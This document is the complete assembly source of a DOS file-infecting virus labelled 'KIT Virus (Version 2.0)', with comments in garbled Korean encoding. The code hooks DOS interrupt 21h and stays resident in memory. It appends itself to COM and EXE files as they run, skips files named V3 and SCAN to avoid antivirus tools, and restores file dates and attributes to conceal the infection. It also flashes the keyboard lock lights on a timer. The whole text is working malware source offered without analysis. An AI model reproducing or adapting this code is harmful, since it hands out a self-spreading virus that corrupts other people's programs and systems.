home *** CD-ROM | disk | FTP | other *** search
- ;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
- ;
- ; KIT Virus (Version 2.0)
- ;
- ; ña╖í£ß»aíw : KIT
- ; ╣A╕b╕a : ííƒq
- ; ╣A╕b╗í : ╨eèé (91æe ñiëe)
- ; ªà¼Γ╕a : KOV (96æe 8╢⌐)
- ; ┤ß¡Qºi£ß : MASM, TASM
- ;
- ; ╣╖ƒA : COM,EXE,¼w║ü╤w
- ; ┤q╤í : x
- ; öa╤w¼≈ : x
- ; ╖e═ü : x
- ; ¼Θíw : 1991æe 10╢⌐ ┼A╔I (Ketel:╗íïq╖ü HiTel) ë╖êü╕a₧a»⌐╡A ╡⌐£a╡Ñ ña╖í£ß»a╖í
- ; öa. 4yfkg9 £aôe ¼a╢w╕aêa ùw¥ó╨ûöa. êq╡q ╡aªüƒi ê±¼a ╨a╗í ┤g┤a¼ß ║ùÑó
- ; êq╡qûEöa.
- ; »í║ù╡A ë╖êüûE ¡í»aôe ¼Θíw╖í êß╖ü ┤⌠┤ß¼ß ║ü¼Γ╖i öi┤vöa.
- ; ╖í ña╖í£ß»aƒi ╣A╕b╨e ªàìA êq¼a ùaƒÑöa.
- ;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
-
- cr equ 0dh
- lf equ 0ah
-
-
- _code segment
- assume cs:_code,ds:_code
-
- virus: jmp print
- string db cr,lf
- db 'My name is Chun Jae!' ; └σ╕ü? ╢òïíëí ╖╢èà
- db cr,lf,'$'
- print: mov ax,cs
- mov ds,ax
- mov dx,offset string
- mov ah,9h
- int 21h
- mov ax,4c00h
- int 21h
- _code ends
-
-
- ;-------------------------------------------------
- code segment
- assume cs:code,ds:code
- jumps
- entry:
- jmp start ; ña╖í£ß»a »í╕b╖a¥í ╕±╧a
- exe_start dd ? ;
- exe_sp dw ? ;
- exe_ss dw ? ;
- able_para dw ? ;
- psp_seg dw ? ; PSP ¡Aïaáσ╦a
- bff_seg dw ? ;
- int21_off dw ? ; Int 21h
- int21_seg dw ? ;
- int1c_off dw ? ; Int 1ch
- int1c_seg dw ? ;
- int24 dd ? ; Int 24h
- mess_data db 83h,0afh,0b0h,0b9h,0b2h,0a9h,0a7h ; 'Copyright 1991-1999
- db 0a8h,0b4h,60h,71h,79h,79h,71h ; .KIT VIRUS(version
- db 6dh,71h,79h,79h,79h,6eh,60h ; 2.0)'
- db 8bh,89h,94h,60h,96h,89h,92h
- db 95h,93h,60h,68h,0b6h,0a5h,0b2h
- db 0b3h,0a9h,0afh,0aeh,60h,72h,6eh
- db 70h,69h,6eh,60h,60h
- data_ax dw ? ; ¥A╗í»a╚ß êt
- data_bx dw ? ;
- data_cx dw ? ;
- data_dx dw ? ;
- data_bp dw ? ;
- data_sp dw ? ;
- data_ds dw ? ;
- data_es dw ? ;
- data_ss dw ? ;
- data_si dw ? ;
- data_di dw ? ;
- all_byte dw 950h ; ña╖í£ß»a ╟aïí
- space dw 0 ;
- remain dw ? ;
- marker dw ? ; EXE ╠eöe
- haldang dw ? ;
- file_name dd ? ; ╠a╖⌐ ╖íƒq
- file_size dw ? ; ╠a╖⌐ ï⌐╖í
- target_file2 db 96h,73h ; V3
- target_file3 db 93h,83h,81h,8eh ; SCAN
- file_handle dw ? ; ╠a╖⌐ ╨àùi
- file_attr dw ? ; ╠a╖⌐ ¡ó¼≈
- file_date dw ? ; ╠a╖⌐ ╕b¼≈ »íêe
- file_time dw ? ;
- file_flag db ? ; ╠a╖⌐ ╤w╚ü (COM,EXE)
- haldang_flag db ?
- com db 83h,8fh,8dh ;
- exe db 85h,98h,85h ;
- columns_off dw ? ;
- exe_header db 1ch dup (0) ; EXE ╤Aöß ñß╠ß
- end_1 dw ? ;
- end_2 dw ? ;
- paragraph dw 0016 ;
- sector dw 0512 ;
- time_out dw 05550h ;
- time_out2 dw 0222h ;
- flag db 0 ;
- flag2 db 0 ;
- switch db 0 ;
- counter db 0 ;
- com_start dd ? ;
-
- start:
- mov word ptr cs:[offset data_ax+100h],ax ; AX,BX... êt ╕ß╕w
- mov word ptr cs:[offset data_bx+100h],bx
- mov word ptr cs:[offset data_cx+100h],cx
- mov word ptr cs:[offset data_dx+100h],dx
- mov word ptr cs:[offset data_si+100h],si
- mov word ptr cs:[offset data_di+100h],di
- mov word ptr cs:[offset data_ds+100h],ds
- mov word ptr cs:[offset data_es+100h],es
- mov word ptr cs:[offset data_ss+100h],ss
- mov word ptr cs:[offset data_sp+100h],sp
- mov word ptr cs:[offset data_bp+100h],bp
- cld
- mov ah,0dah ; £æ ¼w║ü ╡aªü ê±¼a
- int 21h
- cmp ah,4
- jnz set_reg
- mov ah,0dbh ; COM »⌐╨ù »í╟íïí
- mov di,0100h
- mov si,word ptr cs:[offset all_byte+100h]
- add si,0100h
- mov cx,word ptr cs:[offset file_size+100h]
- int 21h
- set_reg: ; EXE ╠a╖⌐ë┴ ¡Aïaáσ╦a ╖⌐├í
- mov byte ptr cs:[offset file_flag+100h],0
- mov ax,cs ; IP êa 0 ╖í ûAòí¥ó ╨q.
- add ax,0010h
- cli
- mov ss,ax
- mov sp,word ptr cs:[offset all_byte+100h]
- sti
- push ax
- mov ax,offset exe_h
- push ax
- retf
-
- exe_point: ; EXE ╠a╖⌐╖ü »í╕b╕±
- mov cs:data_ax,ax ;
- mov cs:data_bx,bx
- mov cs:data_cx,cx
- mov cs:data_dx,dx
- mov cs:data_ds,ds
- mov cs:data_es,es
- mov cs:data_si,si
- mov cs:data_di,di
- mov cs:data_bp,bp
- mov cs:file_flag,1
- exe_h:
- mov ax,cs ;
- mov ds,ax
- mov flag,0 ;
- mov switch,0 ;
- mov counter,0 ;
- mov flag2,0 ;
- mov time_out,05550h ;
- mov time_out2,0222h ;
-
- mov ah,0dah ; ¼w║ü ╡aªü ê±¼a
- int 21h
- cmp ah,4
- jnz bug_ram
- exec_exe: ; EXE ╠a╖⌐ »⌐╨ù
- mov ax,es
- add ax,0010h
- add word ptr exe_start[02],ax
- add exe_ss,ax
- cli
- mov ss,exe_ss
- mov sp,exe_sp
- sti
- mov ax,data_ax
- mov bx,data_bx
- mov cx,data_cx
- mov dx,data_dx
- mov es,data_es
- mov si,data_si
- mov di,data_di
- mov ds,data_ds
- jmp cs:exe_start
-
- bug_ram: ;
- mov ah,4ah ; ïí┤Γ╕w¡í╡A ¼w║ü╨aïí
- mov bx,0ffffh ; ╨a╗íáe, UMB ƒi 0 ¥í áeùi┤ß
- int 21h ; ñ߃íôe óà╣A╕±╖í ╣Ñ╕ü╨eöa.
- jnc exec_exe ;
- mov ax,all_byte
- add ax,space
- mov cx,16
- mov dx,0
- div cx
- cmp dx,0
- jz no_inc1
- inc ax
- no_inc1:
- inc ax
- mov haldang,ax
- sub bx,ax
- mov ah,4ah
- int 21h
- jc exec_exe
- mov ax,haldang
- dec ax
- mov bx,ax
- mov ah,48h
- int 21h
- jc exec_exe
- mov bff_seg,ax
- mov ah,62h
- int 21h
- mov psp_seg,bx
- dec bx
- mov es,bx
- mov byte ptr es:[00],5ah
- push cs
- pop ds
- mov es,bff_seg
- xor si,si ; ña╖í£ß»a Ñó¼a
- xor di,di ; ña╖í£ß»aôe ïí┤Γ╕w¡í╖ü ┬A¼w╢ß
- mov ax,all_byte ; ╡w╡b╖a¥í Ñó¼a ûEöa.
- shr ax,1
- mov cx,ax
- rep movsw
- push es
- mov ax,offset new_prog
- push ax
- retf
- new_prog: ;
- mov ax,cs
- mov ds,ax
- cli
- mov ss,ax ; »a╚é ╕ü ¼Θ╕≈
- mov sp,all_byte
- sti
- chng_21:
- mov ax,3521h ; ╖Ñ╚ߣ≤╦a 21h êa¥í└üïí
- int 21h
- mov int21_off,bx
- mov int21_seg,es
- mov dx,offset int_21h
- mov ax,2521h
- int 21h
- chng_1c:
- mov ax,351ch ; ╖Ñ╚ߣ≤╦a 1Ch êa¥í└üïí
- int 21h
- mov int1c_off,bx
- mov int1c_seg,es
- mov dx,offset int_1ch
- mov ax,251ch
- int 21h
- execute:
- mov ax,cs ;
- mov ds,ax ; ┤q╤í╤┴ûE íA»í╗í ╬ëïí
- mov es,ax ;
- mov si,offset mess_data ;
- mov di,offset message ;
- mov cx,50 ;
- chng_cha: ;
- lodsb ;
- sub al,40h ;
- stosb ;
- loop chng_cha ;
- end_chng:
- cmp file_flag,0 ; ╠a╖⌐ ╤w╚ü
- jnz _exe
- _com:
- mov es,psp_seg ; COM ╕ü»⌐╨ù
- mov ds,psp_seg
- mov di,0100h
- mov si,cs:all_byte
- add si,0100h
- mov cx,cs:file_size
- repz movsb
- mov ax,cs:psp_seg
- mov word ptr cs:com_start[02],ax
- mov ax,0100h
- mov word ptr cs:com_start[00],ax
- mov ax,cs:data_ax ; ¥A╗í»a╚ß Ñóèü
- mov bx,cs:data_bx
- mov cx,cs:data_cx
- mov dx,cs:data_dx
- mov di,cs:data_di
- mov si,cs:data_si
- mov es,cs:data_es
- mov ds,cs:data_ds
- mov ss,cs:data_ss
- mov sp,cs:data_sp
- mov bp,cs:data_bp
- jmp cs:com_start
- _exe: ; EXE ╕ü »⌐╨ù
- mov es,psp_seg
- mov ax,es
- add ax,10h
- add word ptr exe_start[02],ax
- add exe_ss,ax
- mov ss,exe_ss
- mov sp,exe_sp
- mov ax,data_ax
- mov bx,data_bx
- mov cx,data_cx
- mov dx,data_dx
- mov es,data_es
- mov si,data_si
- mov di,data_di
- mov bp,data_bp
- mov ds,data_ds
- jmp cs:exe_start
-
- ;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
- ;
- int_1ch:
- pushf
- push ax
- push bx
- push cx
- push dx
- push ds
- push es
- push cs
- pop ds
- cmp flag2,1 ; ╕bò╖ ?
- jz kit
- dec time_out
- cmp time_out,0
- jnz out_of
- mov cs:flag2,1
- jmp out_of
- kit:
- dec time_out2 ;
- cmp time_out2,0
- jnz go_on
- mov ax,40h
- mov es,ax
- and byte ptr es:[17h],00h
- mov time_out,05550h
- mov time_out2,0222h
- mov flag,0
- mov flag2,0
- mov counter,0
- mov switch,0
- jmp out_of
- go_on:
- mov ax,40h ; Num Lock,Caps Lock,Scroll Lock
- mov es,ax ; êa îq¿b╖Ñöa.
- cmp switch,0
- jz rtn_0
- cmp switch,1
- jz rtn_1
- cmp switch,2
- jz rtn_2
- cmp switch,3
- jz rtn_3
- cmp switch,4
- jz rtn_4
- cmp switch,5
- jz rtn_5
- rtn_0:
- cli
- or byte ptr es:[17h],20h
- sti
- mov switch,1
- jmp out_of
- rtn_1:
- add counter,1
- nop
- nop
- nop
- cmp counter,1
- jnz rtn_1
- cli
- and byte ptr es:[17h],0dfh
- sti
- mov counter,0
- mov switch,2
- jmp out_of
- rtn_2:
- cli
- or byte ptr es:[17h],40h
- sti
- mov switch,3
- jmp out_of
- rtn_3:
- add counter,1
- nop
- nop
- nop
- cmp counter,1
- jnz rtn_3
- cli
- and byte ptr es:[17h],0bfh
- sti
- cmp flag,0
- jnz forward
- mov counter,0
- mov switch,4
- mov flag,1
- jmp out_of
- forward:
- mov counter,0
- mov switch,0
- mov flag,0
- jmp out_of
- rtn_4:
- cli
- or byte ptr es:[17h],10h
- sti
- mov switch,5
- jmp out_of
- rtn_5:
- add counter,1
- nop
- nop
- nop
- cmp counter,1
- jnz rtn_5
- cli
- and byte ptr es:[17h],0efh
- sti
- mov counter,0
- mov switch,2
- jmp out_of
- out_of:
- pop es
- pop ds
- pop dx
- pop cx
- pop bx
- pop ax
- popf
- jmp dword ptr cs:int1c_off
-
- ;
- ;
- ;
- int_21h:
- pushf
- cmp ah,0dah ; ¼w║ü ╡aªü ê±¼a?
- jnz gariginal
- mov ah,4 ; ƒí╚σ
- popf
- iret
- gariginal:
- cmp ax,4b00h ; »⌐╨ù?
- jz rtn_4b
- cmp ah,0dbh ; COM »⌐╨ù╖Ñêa?
- jz rtn_db
- original:
- popf
- jmp dword ptr cs:int21_off
- int_24h:
- xor al,al
- iret
- rtn_db: ; COM »⌐╨ù
- repz movsb
- pop ax
- pop ax
- mov ax,0100h
- mov word ptr cs:com_start,ax
- pop ax
- mov word ptr cs:com_start[02],ax
- popf
- mov ax,cs:data_ax
- mov di,cs:data_di
- mov si,cs:data_si
- mov cx,cs:data_cx
- mov sp,cs:data_sp
- jmp cs:com_start
-
- rtn_4b:
- mov cs:file_flag,0ffh ; ╠a╖⌐ ¼w╚ü
- mov cs:haldang_flag,0 ; ╠a╖⌐ ╨àùi
- mov word ptr cs:file_name,dx ; ╠a╖⌐ ╖íƒq
- mov word ptr cs:file_name[02],ds
- push ax
- push bx
- push cx
- push dx
- push si
- push di
- push ds
- push es
- mov ah,2ch ; »íêe ┤Φïí
- int 21h
- mov al,dh
- mov ah,0
- mov cl,10
- div cl
- mov cl,4
- shl al,cl
- mov ah,0
- add ax,cs:all_byte
- mov cs:remain,ax ; ╗wêa ╟aïí (»íêe╡A ÿa£a ñaı)
- lds dx,cs:file_name
- cld
- drive:
- mov di,dx ; ùa£a╖íºa ê±¼a
- xor dl,dl
- cmp byte ptr [di+01],3ah
- jnz chk_cap
- mov dl,[di]
- and dl,1fh
- chk_cap:
- mov ah,36h ; ùí»a╟a ╢w£╖ ┤Φïí
- int 21h
- cmp ax,0ffffh
- jz escape2
- mul bx
- mul cx
- or dx,dx
- jnz sijak1
- cmp ax,remain
- jb escape2
- sijak1:
- lds dx,cs:file_name ; ¡ó¼≈ ┤Φïí
- mov ax,4300h
- int 21h
- jc escape2
- mov cs:file_attr,cx
- find_com:
- mov ax,3d00h ; ╡í╧e
- pushf
- call dword ptr cs:int21_off
- jc escape2
- mov bx,ax ; ╣A╖⌐ └ß╖q╖a¥í ╖íò╖
- xor cx,cx ; (ªë╧⌐╢a╨e íw¥w╖íöa.)
- mov dx,cx ; ╡í╧e ûI ÿü ╢ß├íôe ╣A╖⌐ └ß╖q╖íöa
- mov ax,4200h
- int 21h
- jc escape1
- push cs ;
- pop ds
- mov dx,offset marker ; EXE ╠a╖⌐ ╖Ñ╗í ê±¼a
- mov cx,2
- mov ah,3fh ; 2 ña╖í╦a ╖¬ïí
- int 21h
- jc escape1
- mov ah,3eh ; öhïí
- int 21h
- jc escape1
- cmp cs:marker,5a4dh
- jnz yes_com
- mov cs:file_flag,1 ; 1 = EXE
- jmp capital
- yes_com:
- mov cs:file_flag,0 ; 0 = COM
- capital:
- lds dx,cs:file_name ; ╠a╖⌐ ╖íƒq ê±¼a
- push ds
- pop es
- mov si,word ptr cs:file_name
- capital2: ; öüóà╕a Ñe╤┼
- mov al,[si] ;
- cmp al,0 ; Å{╖Ñêa?
- jz infect
- cmp al,61h
- jb inc_si
- cmp al,7ah
- ja inc_si
- add byte ptr [si],20h
- inc si
- jmp capital2
- inc_si:
- add byte ptr [si],40h
- inc si
- jmp capital2
- infect:
- lds dx,cs:file_name ;
- std
- mov di,si
- push ds
- pop es
- mov al,9ch
- mov cx,0041h
- repnz scasb
- inc di
- inc di
- mov cs:columns_off,di
- cld
- mov si,di
- push cs
- pop es
- mov di,offset target_file2
- mov cx,2
- repz cmpsb
- jnz infect2
- jmp h_tag
- infect2:
- mov cx,4
- mov di,offset target_file3
- mov si,cs:columns_off
- repz cmpsb
- jnz decode
- jmp h_tag
- decode:
- mov si,word ptr cs:file_name
- loop_dc:
- mov al,[si]
- cmp al,0
- jz sijak2
- cmp al,81h
- jb dec_si
- cmp al,9ah
- ja dec_si
- sub byte ptr [si],20h
- inc si
- jmp loop_dc
- dec_si:
- sub byte ptr [si],40h
- inc si
- jmp loop_dc
- h_tag:
- mov si,word ptr cs:file_name
- tag_dc:
- mov al,[si]
- cmp al,0
- jz end_of
- cmp al,81h
- jb dec2_si
- cmp al,9ah
- ja dec2_si
- sub byte ptr [si],20h
- inc si
- jmp tag_dc
- dec2_si:
- sub byte ptr [si],40h
- inc si
- jmp tag_dc
- end_of:
- jmp escape2
- sijak2: ; ╠a╖⌐ ╡í╧e
- lds dx,cs:file_name
- mov ax,3d00h
- pushf
- call dword ptr cs:int21_off
- jc escape2
- mov cs:file_handle,ax
- get_size:
- mov bx,ax ; ╠a╖⌐ Å{╖a¥í ╖íò╖
- mov ax,4202h
- xor cx,cx
- xor dx,dx
- int 21h
- jc close_f
- mov cs:file_size,ax
- jmp chg_24
- close_f:
- mov ah,3eh ; öhïí
- pushf
- call dword ptr cs:int21_off
- jmp escape2
- chg_24:
- mov ax,3524h ; ╖Ñ╚ߣ≤╦a 24h
- int 21h ; (│aïí ñw╗í ùw╖ü ╡A£ß┤eÉaëA╨q)
- mov word ptr cs:int24[02],es
- mov word ptr cs:int24[00],bx
- mov ax,cs
- mov ds,ax
- mov dx,offset int_24h
- mov ax,2524h
- int 21h
- chng_attr:
- lds dx,cs:file_name ; ╖¬ïí/│aïí¥í ¡ó¼≈ Ñe╤┼
- xor cx,cx
- mov ax,4301h
- int 21h
- jc escape1
- close_file:
- mov bx,cs:file_handle
- mov ah,3eh
- pushf
- call dword ptr cs:int21_off
- mov cs:file_handle,0ffffh
- reopen:
- mov ax,3d02h ; ╡í╧e
- pushf
- call dword ptr cs:int21_off
- jc escape2
- mov cs:file_handle,ax
- mov ax,cs
- mov ds,ax
- mov es,ax
- get_date:
- mov bx,file_handle ; ╠a╖⌐ ╕b¼≈ »íêe ┤Φïí
- mov ax,5700h
- int 21h
- mov file_date,dx
- mov file_time,cx
- mov ax,4200h ; └ß╖q╖a¥í ╖íò╖
- xor cx,cx
- mov dx,cx
- int 21h
- jc escape1
- chk_com:
- cmp file_flag,0
- jz com_proc
- chk_exe:
- cmp file_flag,1
- jz exe_proc
- jmp escape1
-
- com_proc: ; COM ╠a╖⌐ êq╡q
- mov bx,1000h
- mov ah,48h
- int 21h
- jnb ok_mem
- close_f2:
- mov ah,3eh
- mov bx,file_handle
- pushf
- call dword ptr cs:int21_off
- jmp escape1
- ok_mem:
- mov haldang_flag,1
- mov es,ax
- xor si,si
- mov di,si
- mov cx,cs:all_byte
- repz movsb
- mov dx,di
- mov cx,cs:file_size
- cmp cx,0f448h
- jb pass1
- jmp close_f2
- pass1:
- mov bx,cs:file_handle
- push es
- pop ds
- mov ah,3fh
- int 21h
- jc escape1
- set_point:
- add di,cx
- xor cx,cx
- xor dx,dx
- mov ax,4200h
- int 21h
- mov cx,di
- xor dx,dx
- mov ah,40h
- int 21h
- jmp escape1
-
- ; EXE ╠a╖⌐ êq╡q
- exe_proc: ;
- mov cx,001ch
- mov dx,offset exe_header
- mov ah,3fh
- int 21h
- jc escape1
- set_header: ;
- mov word ptr exe_header[12h],1991 ; ªë╧⌐╢a
- mov ax,word ptr exe_header[0eh]
- mov word ptr exe_ss,ax
- mov ax,word ptr exe_header[10h]
- mov word ptr exe_sp,ax
- mov ax,word ptr exe_header[14h]
- mov word ptr exe_start,ax
- mov ax,word ptr exe_header[16h]
- mov word ptr exe_start[02],ax
- mov ax,word ptr exe_header[04h]
- cmp word ptr exe_header[02h],00
- jz no_dec
- dec ax
- no_dec:
- mul sector
- add ax,word ptr exe_header[02h]
- adc dx,00
- add ax,000fh
- adc dx,00
- and ax,0fff0h
- mov end_1,ax
- mov end_2,dx
- add ax,remain
- adc dx,00
- jc escape1
- div sector
- cmp ax,04fah
- jae escape1
- or dx,dx
- jz no_inc
- inc ax
- no_inc:
- mov word ptr exe_header[04h],ax
- mov word ptr exe_header[02h],dx
- mov ax,end_1
- mov dx,end_2
- div paragraph
- sub ax,word ptr exe_header[08h]
- mov word ptr exe_header[16h],ax
- mov word ptr exe_header[14h],offset exe_point
- mov word ptr exe_header[0eh],ax
- mov ax,remain
- mov word ptr exe_header[10h],ax
- pointer:
- xor cx,cx
- mov dx,cx
- mov ax,4200h
- int 21h
- jc escape1
- write:
- mov cx,001ch
- mov dx,offset exe_header
- mov ah,40h
- int 21h
- jc escape1
- cmp ax,cx
- jnz escape1
- mov dx,end_1
- mov cx,end_2
- mov ax,4200h
- int 21h
- jc escape1
- mov cx,remain
- xor dx,dx
- mov ah,40h
- int 21h
- escape1:
- cmp haldang_flag,1
- jnz pass2
- mov ah,49h
- int 21h
- pass2:
- mov bx,cs:file_handle
- mov dx,cs:file_date
- mov cx,cs:file_time
- mov ax,5701h
- int 21h
- close:
- mov ah,3eh
- pushf
- call dword ptr cs:int21_off
- repair: ; ╠a╖⌐ ¡ó¼≈ Ñóèü
- lds dx,cs:file_name
- mov cx,cs:file_attr
- mov ax,4301h
- int 21h
- lds dx,cs:int24
- mov ax,2524h
- int 21h
- escape2:
- pop es
- pop ds
- pop di
- pop si
- pop dx
- pop cx
- pop bx
- pop ax
- popf
- jmp dword ptr cs:int21_off
-
- message db 50 dup (0) ; íA»í╗íƒi ╢ß╨e ñß╠ß
-
- code ends
- end exe_point
-
-